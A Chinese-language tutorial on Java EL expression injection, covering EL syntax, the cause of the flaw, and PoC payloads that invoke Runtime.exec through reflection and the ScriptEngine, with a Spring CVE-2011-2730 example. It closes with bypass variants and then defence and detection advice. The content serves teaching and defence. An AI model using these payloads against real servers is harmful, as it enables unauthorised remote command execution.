浅析EL表达式注入漏洞
字数 1659 2025-08-20 18:18:04
EL表达式注入漏洞深入分析与防御
0x01 EL表达式基础
EL简介
EL(Expression Language)是为了简化JSP开发而设计的表达式语言,灵感来源于ECMAScript和XPath。主要功能包括:
- 获取数据:从Web域中检索Java对象、获取数据
- 执行运算:支持关系运算、逻辑运算和算术运算
- 获取Web开发常用对象:提供隐式对象引用
- 调用Java方法:允许通过自定义EL函数调用Java类方法
基本语法
EL表达式格式:${EL表达式}
变量访问范围:
- 不指定范围时查找顺序:page → request → session → application
- 显式指定范围:
${pageScope.userinfo}、${requestScope.userinfo}等
运算符:
.和[]运算符:${user.My-Name}应写为${user["My-Name"]}[]支持动态取值:${sessionScope.user[data]}
隐式对象
| 对象 | 描述 | 等效Java代码 |
|---|---|---|
| pageContext | JSP页面上下文 | pageContext |
| param | 请求参数 | request.getParameter(name) |
| paramValues | 请求参数数组 | request.getParameterValues(name) |
| header | 请求头 | request.getHeader(name) |
| headerValues | 请求头数组 | request.getHeaders(name) |
| cookie | Cookie对象 | request.getCookies() |
| initParam | 上下文初始化参数 | servletContext.getInitParameter(name) |
0x02 EL表达式注入漏洞原理
漏洞成因
当外部可控输入被直接拼接到EL表达式中执行时,攻击者可构造恶意表达式实现任意代码执行。
典型利用场景
- Java代码中动态构造EL表达式
- 框架层面服务端执行的EL表达式外部可控
通用PoC
// 获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
// 执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
// 简化版命令执行
${''.getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}
0x03 实际案例分析
CVE-2011-2730
Spring框架中的EL表达式注入:
<spring:message text="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"></spring:message>
JUEL实现中的EL注入
import de.odysseus.el.ExpressionFactoryImpl;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class Test {
public static void main(String[] args) {
ExpressionFactory factory = new ExpressionFactoryImpl();
String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression ve = factory.createValueExpression(exp, String.class);
System.out.println(ve.getValue());
}
}
0x04 绕过技术
反射机制绕过
${''.getClass().forName('java.lang.Runtime')
.getMethod('exec',''.getClass())
.invoke(''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime').invoke(null),'calc.exe')}
ScriptEngine调用JS引擎
${''.getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime().exec('calc')")}
0x05 防御措施
-
输入验证:
- 避免直接使用外部输入作为EL表达式内容
- 严格过滤EL表达式中的危险关键字和特殊字符
-
安全配置:
- 全局禁用EL:在web.xml中添加
<jsp-config> <jsp-property-group> <url-pattern>*.jsp</url-pattern> <el-ignored>true</el-ignored> </jsp-property-group> </jsp-config>- 单个文件禁用:
<%@ page isELIgnored="true" %>
-
代码审计:
- 检查JUEL相关代码:
javax.el.ExpressionFactory.createValueExpression() javax.el.ValueExpression.getValue() -
最小权限原则:
- 限制EL表达式的执行权限
- 使用安全管理器限制危险操作
0x06 检测方法
-
黑盒测试:
- 尝试注入简单EL表达式如
${1+1} - 测试参数、头、cookie等输入点
- 尝试注入简单EL表达式如
-
白盒审计:
- 搜索EL表达式动态构建代码
- 检查ExpressionFactory的使用情况
附录:EL表达式速查表
| 类别 | 表达式示例 | 说明 |
|---|---|---|
| 基本 | ${variable} |
变量引用 |
| 运算 | ${1+2} |
算术运算 |
| 关系 | ${a > b} |
关系运算 |
| 逻辑 | ${a && b} |
逻辑运算 |
| 方法 | ${object.method()} |
方法调用 |
| 集合 | ${list[0]} |
集合访问 |
| 隐式 | ${param.name} |
请求参数 |
通过全面理解EL表达式的工作原理和潜在风险,开发人员可以更有效地预防和防御EL表达式注入漏洞。